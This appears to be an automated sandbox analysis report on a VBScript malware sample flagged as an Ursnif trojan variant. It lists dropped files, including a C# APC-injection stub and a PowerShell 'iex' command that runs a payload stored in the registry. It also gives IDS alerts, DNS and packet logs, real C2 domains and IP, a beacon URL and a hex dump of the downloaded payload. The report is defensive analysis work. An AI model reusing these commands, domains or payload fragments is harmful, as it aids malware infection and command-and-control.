SHA-512:	9688FD347C664335C40C98A3F0F8D8AF75ABA212A75908A96168D3AEBFC2FEAAB25DD62B63233EB70066DD7F8FB297F422871153901142DB6ECD83D1D345E3C2
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace W32.{. public class stkml. {. [DllImport("kernel32")].public static extern uint QueueUserAPC(IntPtr xwiefclj,IntPtr fqsexnr,IntPtr ormij);.[DllImport("kernel32")].public static extern IntPtr GetCurrentThreadId();.[DllImport("kernel32")].public static extern IntPtr OpenThread(uint llcs,uint flwnybjk,IntPtr coa);.. }..}.

C:\Users\user\AppData\Local\Temp\kuljoghz\kuljoghz.cmdline Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	375
Entropy (8bit):	5.268143064243297
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2N723fbt+zxs7+AEszIN723fb1:p37Lvkmb6K2aj4WZETaj1
MD5:	58DD1E110A0447FD5B53B32E7B0E0941
SHA1:	7784888063E2D10C540145541505EEF5865522FF
SHA-256:	B8A3B4FA1CC289A7C5B0E11A4CDC6F638F3D8ACD6E1EC83E94902E235FE3C586
SHA-512:	F7530053FE9E994B8C8FC4982F62F103B86142AF640A9082F0592F5818ECDE2CFC18D9B99F229462516D93D74FCC234F919C3AE133AE148A4DF5AFDF369C7633
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\kuljoghz\kuljoghz.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\kuljoghz\kuljoghz.0.cs"

C:\Users\user\AppData\Local\Temp\kuljoghz\kuljoghz.dll Download File
Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3584
Entropy (8bit):	2.598059506191642
Encrypted:	false
SSDEEP:	24:etGSN/u2Dg85lxlok3Jgpiw4MatkZfwYaUI+ycuZhN2akSOPNnq:6gWb5lxF1YJww1ul2a3Sq
MD5:	FEB9538DC35D245E399D2602C6FD4231
SHA1:	BB5149C40448B2D113E21D8DB128E1765A748879
SHA-256:	A08CC6DB2B1AC20DA80551DF8ED86DE2FC3FCC70879026C440C6CC4A36DC80DD
SHA-512:	F1CA4A089DA2725D81A290C6B5ADC20DDC989B2949176EE8E8BAF9C8520C698048BDCB72477791C3F50A972A6DF0E2F5B7698C7C3E0D20EA3DB4894480EA49E6
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...m.;a...........!.................#... ...@....... ....................................@..................................#..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B..................(....BSJB............v4.0.30319......l...H...#~......4...#Strings............#US.........#GUID.......T...#Blob...........G.........%3............................................................1....................................................... 8............ E............ X.....P ......c.........i.....r.....z.....................c. ...c...!.c.%...c.......*.....3.+.....8.......E.......X.......................................!........<Module>.kuljoghz.dll.stkml.W32.mscorlib.Sy

C:\Users\user\AppData\Local\Temp\kuljoghz\kuljoghz.out Download File
Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	412
Entropy (8bit):	4.871364761010112
Encrypted:	false
SSDEEP:	12:zKaMK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:zKaM5DqBVKVrdFAMBJTH
MD5:	83B3C9D9190CE2C57B83EEE13A9719DF
SHA1:	ABFAB07DEA88AF5D3AF75970E119FE44F43FE19E
SHA-256:	B5D219E5143716023566DD71C0195F41F32C3E7F30F24345E1708C391DEEEFDA
SHA-512:	0DE42AC5924B8A8E977C1330E9D7151E9DCBB1892A038C1815321927DA3DB804EC13B129196B6BC84C7BFC9367C1571FCD128CCB0645EAC7418E39A91BC2FEDB
Malicious:	false
Preview:	Microsoft (R) Visual C# Compiler version 4.7.3056.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\Documents\20210910\PowerShell_transcript.581804.5QGhQCWh.20210910111356.txt Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	982
Entropy (8bit):	5.453422120442401
Encrypted:	false
SSDEEP:	24:BxSAZ7vBVLix2DOXUWOLCHGIYBtBCWGHjeTKKjX4CIym1ZJXjOLCHGIYBtBW:BZBvTLioORFeVGqDYB1Z7FeW
MD5:	FB52BB7C612E78BF8B6558564CBFF5E5
SHA1:	90DDFA606B428DBD189180474B604518B98B3D8E
SHA-256:	82BF12211F6E58C06D626AA5D76094B16A49C2F4F2AB98B71736DAF8AAB8E8D6
SHA-512:	817BFE525BC506BCA542FA21E434C47EDBA90BC0CEEA82D25D64DEA6FEDEBC8EC67F1303B39EC3A4014EA4158D2CCBE021C058C566A37E6477AA090ABC69F1C8
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20210910111357..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 581804 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iex ([System.Text.Encoding]::ASCII.GetString(( gp HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550).UtilTool))..Process ID: 5104..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20210910111357..********************..PS>iex ([System.Text.Encoding]::ASCII.GetString(( gp HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550).UtilTool))..

Static File Info

General
File type:	ASCII text, with very long lines, with CRLF line terminators
Entropy (8bit):	4.8528890366453785
TrID:
File name:	sample.vbs
File size:	1397160
MD5:	1dd89d4f6390f3dc46486ae6ee57bbf1
SHA1:	1be7d12e55659bdd87c34eb24d7d4adf0b68a2c5
SHA256:	801e42662653db4f680b49833f5ee0a48124aa814dd4178be1f948f4a8a68b07
SHA512:	f79ad12ed3380a1eccf763792ce3d4f280fc77ebfe4604c4335f3d85b196141adaf813aa1a6bf522bd85f6eceaf003df3eabdfee859aa70f2477e6b3d25efe83
SSDEEP:	12288:SfCepvwq9BTH3FEN9cy59WSpU9lAR4lYtE9E5rf99bk:ipvp9BT1U9cyjUAvmEZbk
File Content Preview:	IHGsfsedgfssd = Timer()..For hjdHJGASDF = 1 to 7..WScript.Sleep 1000:..Next..frjekgJHKasd = Timer()..if frjekgJHKasd - IHGsfsedgfssd < 5 Then..Do: KJHSGDflkjsd = 4: Loop..End if ..const VSE = 208..const Aeq = 94..pgoTH = Array(UGM,DP,wy,2,yt,2,2,2,vy,2,2,

File Icon


Icon Hash:	e8d69ece869a9ec4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
09/10/21-11:13:44.229778	TCP	2033204	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)	49818	80	192.168.2.6	185.251.90.253
09/10/21-11:13:44.229778	TCP	2033203	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)	49818	80	192.168.2.6	185.251.90.253
09/10/21-11:13:45.468758	TCP	2033204	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)	49819	80	192.168.2.6	185.251.90.253
09/10/21-11:13:45.468758	TCP	2033203	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)	49819	80	192.168.2.6	185.251.90.253
09/10/21-11:13:46.525416	TCP	2033204	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)	49820	80	192.168.2.6	185.251.90.253
09/10/21-11:13:46.525416	TCP	2033203	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)	49820	80	192.168.2.6	185.251.90.253
09/10/21-11:14:24.508800	TCP	2033204	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)	49821	80	192.168.2.6	185.251.90.253
09/10/21-11:14:24.508800	TCP	2033203	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)	49821	80	192.168.2.6	185.251.90.253

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 10, 2021 11:13:44.180072069 CEST	49818	80	192.168.2.6	185.251.90.253
Sep 10, 2021 11:13:44.228905916 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.229147911 CEST	49818	80	192.168.2.6	185.251.90.253
Sep 10, 2021 11:13:44.229778051 CEST	49818	80	192.168.2.6	185.251.90.253
Sep 10, 2021 11:13:44.320012093 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.704672098 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.704710960 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.704735041 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.704761028 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.704787016 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.704808950 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.704832077 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.704857111 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.704879045 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.704951048 CEST	49818	80	192.168.2.6	185.251.90.253
Sep 10, 2021 11:13:44.705018044 CEST	49818	80	192.168.2.6	185.251.90.253
Sep 10, 2021 11:13:44.705214024 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.705315113 CEST	49818	80	192.168.2.6	185.251.90.253
Sep 10, 2021 11:13:44.753833055 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.753868103 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.753885984 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.753907919 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.753931046 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.753952026 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.753974915 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.753997087 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.754019976 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.754043102 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.754066944 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.754065037 CEST	49818	80	192.168.2.6	185.251.90.253
Sep 10, 2021 11:13:44.754090071 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.754113913 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.754134893 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.754157066 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.754164934 CEST	49818	80	192.168.2.6	185.251.90.253
Sep 10, 2021 11:13:44.754180908 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.754205942 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.754225016 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.754226923 CEST	49818	80	192.168.2.6	185.251.90.253
Sep 10, 2021 11:13:44.754249096 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.754261971 CEST	49818	80	192.168.2.6	185.251.90.253
Sep 10, 2021 11:13:44.754271984 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.754292965 CEST	49818	80	192.168.2.6	185.251.90.253
Sep 10, 2021 11:13:44.754323959 CEST	49818	80	192.168.2.6	185.251.90.253
Sep 10, 2021 11:13:44.802499056 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802531004 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802548885 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802565098 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802581072 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802597046 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802613974 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802629948 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802644968 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802664042 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802681923 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802696943 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802712917 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802728891 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802743912 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802756071 CEST	49818	80	192.168.2.6	185.251.90.253
Sep 10, 2021 11:13:44.802759886 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802776098 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802795887 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802812099 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802829981 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802845955 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802859068 CEST	49818	80	192.168.2.6	185.251.90.253
Sep 10, 2021 11:13:44.802861929 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802877903 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802894115 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802908897 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802922010 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802927971 CEST	49818	80	192.168.2.6	185.251.90.253
Sep 10, 2021 11:13:44.802939892 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802957058 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802963972 CEST	49818	80	192.168.2.6	185.251.90.253
Sep 10, 2021 11:13:44.802973986 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802989006 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.802995920 CEST	49818	80	192.168.2.6	185.251.90.253
Sep 10, 2021 11:13:44.803000927 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.803011894 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.803024054 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.803025961 CEST	49818	80	192.168.2.6	185.251.90.253
Sep 10, 2021 11:13:44.803036928 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.803050041 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.803056002 CEST	49818	80	192.168.2.6	185.251.90.253
Sep 10, 2021 11:13:44.803066015 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.803081036 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.803087950 CEST	49818	80	192.168.2.6	185.251.90.253
Sep 10, 2021 11:13:44.803097010 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.803128958 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.803131104 CEST	49818	80	192.168.2.6	185.251.90.253
Sep 10, 2021 11:13:44.803160906 CEST	49818	80	192.168.2.6	185.251.90.253
Sep 10, 2021 11:13:44.804337025 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.804428101 CEST	49818	80	192.168.2.6	185.251.90.253
Sep 10, 2021 11:13:44.853878975 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.853929996 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.853960991 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.853986025 CEST	80	49818	185.251.90.253	192.168.2.6
Sep 10, 2021 11:13:44.854012966 CEST	80	49818	185.251.90.253	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 10, 2021 11:10:37.836555004 CEST	60342	53	192.168.2.6	8.8.8.8
Sep 10, 2021 11:10:37.874860048 CEST	53	60342	8.8.8.8	192.168.2.6
Sep 10, 2021 11:10:57.744205952 CEST	61346	53	192.168.2.6	8.8.8.8
Sep 10, 2021 11:10:57.775474072 CEST	53	61346	8.8.8.8	192.168.2.6
Sep 10, 2021 11:10:58.611458063 CEST	51774	53	192.168.2.6	8.8.8.8
Sep 10, 2021 11:10:58.639091015 CEST	53	51774	8.8.8.8	192.168.2.6
Sep 10, 2021 11:10:59.106736898 CEST	56023	53	192.168.2.6	8.8.8.8
Sep 10, 2021 11:10:59.139406919 CEST	53	56023	8.8.8.8	192.168.2.6
Sep 10, 2021 11:10:59.451834917 CEST	58384	53	192.168.2.6	8.8.8.8
Sep 10, 2021 11:10:59.492953062 CEST	53	58384	8.8.8.8	192.168.2.6
Sep 10, 2021 11:10:59.613979101 CEST	60261	53	192.168.2.6	8.8.8.8
Sep 10, 2021 11:10:59.649709940 CEST	53	60261	8.8.8.8	192.168.2.6
Sep 10, 2021 11:11:00.100292921 CEST	56061	53	192.168.2.6	8.8.8.8
Sep 10, 2021 11:11:00.135390997 CEST	53	56061	8.8.8.8	192.168.2.6
Sep 10, 2021 11:11:00.788482904 CEST	58336	53	192.168.2.6	8.8.8.8
Sep 10, 2021 11:11:00.825284958 CEST	53	58336	8.8.8.8	192.168.2.6
Sep 10, 2021 11:11:01.317054987 CEST	53781	53	192.168.2.6	8.8.8.8
Sep 10, 2021 11:11:01.352045059 CEST	53	53781	8.8.8.8	192.168.2.6
Sep 10, 2021 11:11:01.999335051 CEST	54064	53	192.168.2.6	8.8.8.8
Sep 10, 2021 11:11:02.026678085 CEST	53	54064	8.8.8.8	192.168.2.6
Sep 10, 2021 11:11:02.921066999 CEST	52811	53	192.168.2.6	8.8.8.8
Sep 10, 2021 11:11:02.951072931 CEST	53	52811	8.8.8.8	192.168.2.6
Sep 10, 2021 11:11:03.349270105 CEST	55299	53	192.168.2.6	8.8.8.8
Sep 10, 2021 11:11:03.377957106 CEST	53	55299	8.8.8.8	192.168.2.6
Sep 10, 2021 11:11:14.823532104 CEST	63745	53	192.168.2.6	8.8.8.8
Sep 10, 2021 11:11:14.857819080 CEST	53	63745	8.8.8.8	192.168.2.6
Sep 10, 2021 11:11:36.756078005 CEST	50055	53	192.168.2.6	8.8.8.8
Sep 10, 2021 11:11:36.792424917 CEST	53	50055	8.8.8.8	192.168.2.6
Sep 10, 2021 11:11:46.918876886 CEST	61374	53	192.168.2.6	8.8.8.8
Sep 10, 2021 11:11:46.972485065 CEST	53	61374	8.8.8.8	192.168.2.6
Sep 10, 2021 11:11:49.086417913 CEST	50339	53	192.168.2.6	8.8.8.8
Sep 10, 2021 11:11:49.133498907 CEST	53	50339	8.8.8.8	192.168.2.6
Sep 10, 2021 11:13:44.136544943 CEST	63307	53	192.168.2.6	8.8.8.8
Sep 10, 2021 11:13:44.164992094 CEST	53	63307	8.8.8.8	192.168.2.6
Sep 10, 2021 11:13:45.104943991 CEST	49694	53	192.168.2.6	8.8.8.8
Sep 10, 2021 11:13:45.411726952 CEST	53	49694	8.8.8.8	192.168.2.6
Sep 10, 2021 11:13:46.440280914 CEST	54982	53	192.168.2.6	8.8.8.8
Sep 10, 2021 11:13:46.473021030 CEST	53	54982	8.8.8.8	192.168.2.6
Sep 10, 2021 11:14:24.268157959 CEST	50010	53	192.168.2.6	8.8.8.8
Sep 10, 2021 11:14:24.295125008 CEST	53	50010	8.8.8.8	192.168.2.6
Sep 10, 2021 11:14:24.419068098 CEST	63718	53	192.168.2.6	8.8.8.8
Sep 10, 2021 11:14:24.454663038 CEST	53	63718	8.8.8.8	192.168.2.6
Sep 10, 2021 11:14:25.038269997 CEST	62116	53	192.168.2.6	8.8.8.8
Sep 10, 2021 11:14:25.075001001 CEST	53	62116	8.8.8.8	192.168.2.6
Sep 10, 2021 11:14:35.678008080 CEST	63816	53	192.168.2.6	8.8.8.8
Sep 10, 2021 11:14:35.711908102 CEST	53	63816	8.8.8.8	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Sep 10, 2021 11:13:44.136544943 CEST	192.168.2.6	8.8.8.8	0x7fc5	Standard query (0)	atl.bigbigpoppa.com	A (IP address)	IN (0x0001)
Sep 10, 2021 11:13:45.104943991 CEST	192.168.2.6	8.8.8.8	0x6ca5	Standard query (0)	atl.bigbigpoppa.com	A (IP address)	IN (0x0001)
Sep 10, 2021 11:13:46.440280914 CEST	192.168.2.6	8.8.8.8	0xf8f	Standard query (0)	atl.bigbigpoppa.com	A (IP address)	IN (0x0001)
Sep 10, 2021 11:14:24.268157959 CEST	192.168.2.6	8.8.8.8	0x2a00	Standard query (0)	resolver1.opendns.com	A (IP address)	IN (0x0001)
Sep 10, 2021 11:14:24.419068098 CEST	192.168.2.6	8.8.8.8	0x134b	Standard query (0)	art.microsoftsofymicrosoftsoft.at	A (IP address)	IN (0x0001)
Sep 10, 2021 11:14:25.038269997 CEST	192.168.2.6	8.8.8.8	0x4160	Standard query (0)	art.microsoftsofymicrosoftsoft.at	A (IP address)	IN (0x0001)
Sep 10, 2021 11:14:35.678008080 CEST	192.168.2.6	8.8.8.8	0xbc3	Standard query (0)	art.microsoftsofymicrosoftsoft.at	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Sep 10, 2021 11:13:44.164992094 CEST	8.8.8.8	192.168.2.6	0x7fc5	No error (0)	atl.bigbigpoppa.com	185.251.90.253	A (IP address)	IN (0x0001)
Sep 10, 2021 11:13:45.411726952 CEST	8.8.8.8	192.168.2.6	0x6ca5	No error (0)	atl.bigbigpoppa.com	185.251.90.253	A (IP address)	IN (0x0001)
Sep 10, 2021 11:13:46.473021030 CEST	8.8.8.8	192.168.2.6	0xf8f	No error (0)	atl.bigbigpoppa.com	185.251.90.253	A (IP address)	IN (0x0001)
Sep 10, 2021 11:14:24.295125008 CEST	8.8.8.8	192.168.2.6	0x2a00	No error (0)	resolver1.opendns.com	208.67.222.222	A (IP address)	IN (0x0001)
Sep 10, 2021 11:14:24.454663038 CEST	8.8.8.8	192.168.2.6	0x134b	No error (0)	art.microsoftsofymicrosoftsoft.at	185.251.90.253	A (IP address)	IN (0x0001)
Sep 10, 2021 11:14:25.075001001 CEST	8.8.8.8	192.168.2.6	0x4160	No error (0)	art.microsoftsofymicrosoftsoft.at	185.251.90.253	A (IP address)	IN (0x0001)
Sep 10, 2021 11:14:35.711908102 CEST	8.8.8.8	192.168.2.6	0xbc3	No error (0)	art.microsoftsofymicrosoftsoft.at	185.251.90.253	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

atl.bigbigpoppa.com

art.microsoftsofymicrosoftsoft.at

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49818	185.251.90.253	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Sep 10, 2021 11:13:44.229778051 CEST	8269	OUT	GET /LZpNlL8ctf0/9G8k9mmuTSS5tz/8E5AsgXcbJMRL1oRInDsm/26uAVe_2F5ldrkH0/uiu44euzNQd9TRf/1Zb3P4q5F0mc0qdltC/bLlV5uCsx/obqe2ve9g7Th5DnAa17u/ifRiDnyBBWyxfspwjbc/4e64zsAjWvHHh07WM2IgYy/t1JnmxqkM0edm/B_2Fp0Xl/aO6EV9JJQOgg5QsFoCbzQfO/_2BOZLcUIR/ooMrpCxMndVWwPntp/mvRIBZb_2B_2/Beg4_2F_2Fr/I_2FcfrvgLZ_2F/J3NCkzqZf5_2Fr1C_2BZp/h9SFOIo1qkmT8Tal/3qdDBO5XKEdw_2F/4xqo8eXRx/pJscFz7Rq/r HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:90.0) Gecko/20100101 Firefox/90.0 Host: atl.bigbigpoppa.com
Sep 10, 2021 11:13:44.704672098 CEST	8270	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Sep 2021 09:13:44 GMT Content-Type: application/octet-stream Content-Length: 194718 Connection: close Pragma: public Accept-Ranges: bytes Expires: 0 Cache-Control: must-revalidate, post-check=0, pre-check=0 Content-Disposition: inline; filename="613b21c8a5648.bin" Strict-Transport-Security: max-age=63072000; includeSubdomains X-Content-Type-Options: nosniff Data Raw: 76 74 cf a8 dc 9e a3 bd 80 c4 22 74 d6 90 04 f4 7c 4e 89 f9 f5 f6 c3 41 5b bd 9a c1 75 03 9e 3d 57 c7 97 06 3e 33 1a 75 cb d2 f3 9b 82 f7 12 da 1b 73 aa 9d 83 1c 06 cc d0 bb fa 6b fe fc 69 45 21 fd 77 4d e8 65 62 93 d4 4f 54 c0 7f 4b c0 e8 bd 0a da 21 85 09 52 e0 63 30 82 6b 84 0b a5 73 0e d8 b6 0a 2f f6 82 b8 db 3a 51 f5 d1 6c 17 f8 66 f5 63 27 a8 2c fe 79 31 d3 11 a2 68 ab eb bd c6 ca 96 b7 df 24 d9 bb eb 81 ee 0f 54 d0 24 37 17 2e bd d0 90 a9 1c c7 0d aa a5 e0 95 ad 52 e0 75 84 91 a6 10 9d 81 0a 4d b4 ff 81 97 74 92 63 92 3b ae a9 ad cf 50 57 12 53 8f 24 c5 3c d5 ff c4 5c 06 b9 e4 02 71 34 b3 6a f5 02 c6 06 6d 8c 5a b2 93 69 e3 04 8d c3 27 8a b8 c8 4a 1d cd c2 0f bd 3f 7e 06 be 38 ae a8 33 f4 46 25 b7 42 e8 60 df af 0a cb 9a 44 a1 2f 47 30 4b a6 62 22 1a 9b 17 41 04 1f fe a9 a5 c2 5f 2c b8 17 b3 7e f8 a3 b1 19 c2 e2 ac 4f 23 9a 3a 3a bf c4 61 f5 b6 7d d8 d5 41 f7 c6 7d 13 a3 25 bd bd b7 45 09 64 a8 d5 8a 6a 6e 18 90 f8 15 29 9d ad e6 f7 81 c6 c1 6d 32 c6 6d 91 e1 d5 b2 11 af d7 0f ae c5 84 22 1e 0f 3d 2a 0d 19 79 94 9f 72 e4 19 30 54 53 f8 a0 51 28 95 77 e8 05 cd 58 f3 5e 79 1b 2d 75 16 31 f4 ea 58 42 da fe ad 9f 21 09 f9 67 69 cf ff c7 a6 bd 34 2a ef 9a e2 63 bf 8b 7d 44 e0 80 ea 5d fb 18 21 db 02 cf db ca 07 81 b4 3e 7a 72 00 1b 21 ff 30 31 fa d2 ce c6 9f 33 9a cd 1a 25 3c f7 05 4d c2 77 5e 4f fc 99 c8 f0 51 93 7e e9 b2 35 93 c2 cc 3e bd 22 41 3e a6 14 a2 f9 47 45 a0 94 00 2b c8 09 2c 57 1c 70 d1 fc 8b 98 bd a9 53 f3 48 aa d4 87 c8 34 d1 84 66 95 bf 45 78 59 ad 24 31 f2 22 9f 83 2e 85 ee f9 50 21 68 9f ec 2e 0f 0a 37 cc a4 dc 12 79 1e 10 12 9d 19 93 bc cf 36 df 7c 6f 25 8f bc 3a 4c 53 73 0d ae 15 56 83 9e fa 88 d5 7f 9b ee e9 dc ff 92 38 f9 91 3c bf b0 a9 0d 4a 43 73 58 68 19 46 a8 b0 e3 17 3d 9c 68 30 37 f6 84 d2 c7 37 01 33 97 44 91 e5 20 3f a7 d9 e3 c0 af b0 2a 54 8f ef ab aa 06 35 5f 5b c2 66 54 41 fd bb d8 8a 29 80 3d 5d d0 8d 84 9f 53 68 db f0 5a 42 de 57 66 fa 72 b7 72 97 f3 0f 0d 65 28 85 